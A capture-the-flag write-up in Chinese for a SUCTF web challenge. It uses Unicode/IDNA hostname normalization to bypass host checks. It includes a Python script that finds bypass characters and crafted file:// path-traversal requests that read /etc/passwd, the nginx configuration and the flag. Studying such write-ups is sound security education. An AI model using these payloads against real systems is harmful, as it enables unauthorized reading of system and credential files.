打开靶机,经典给源码
CTRL+U看起来舒服点
3个if都是一样的,但是host在变,我们需要进入第三个if
这题经大佬指点得知使用的blackhat议题里的一个点,这是blackhat PPT链接:https://i.blackhat.com/USA-19/Thursday/us-19-Birch-HostSplit-Exploitable-Antipatterns-In-Unicode-Normalization.pdf
大致意思是当URL 中出现一些特殊字符的时候,输出的结果可能不在预期
偷的脚本查看可用字符
python
1from urllib.parse import urlunsplit, urlsplit
2from urllib import parse
3
4
5def get_unicode():
6 for x in range(65536):
7 uni = chr(x)
8 url = "http://suctf.c{}".format(uni)
9 try:
10 if getUrl(url):
11 print("str: " + uni + ' unicode: \\u' + str(hex(x))[2:])
12 except:
13 pass
14
15
16def getUrl(url):
17 url = url
18 host = parse.urlparse(url).hostname
19 if host == 'suctf.cc':
20 return False
21 parts = list(urlsplit(url))
22 host = parts[1]
23 if host == 'suctf.cc':
24 return False
25 newhost = []
26 for h in host.split('.'):
27 newhost.append(h.encode('idna').decode('utf-8'))
28 parts[1] = '.'.join(newhost)
29 finalUrl = urlunsplit(parts).split(' ')[0]
30 host = parse.urlparse(finalUrl).hostname
31 if host == 'suctf.cc':
32 return True
33 else:
34 return False
35
36
37if __name__ == '__main__':
38 get_unicode()
结果如下
我们只需要用结果中任意一个去读取文件就行,如
php
1/getUrl?url=file://suctf.c%E2%84%82/../../../../../etc/passwd
题目提示我们是nginx,所以我们去读取nginx的配置文件
这里读的路径是 /usr/local/nginx/conf/nginx.conf
php
1/getUrl?url=file://suctf.c%E2%84%82/../../../../..//usr/local/nginx/conf/nginx.conf
结果如下
于是读取文件
php
1/getUrl?url=file://suctf.c%E2%84%82/../../../../..//usr/fffffflag
得到flag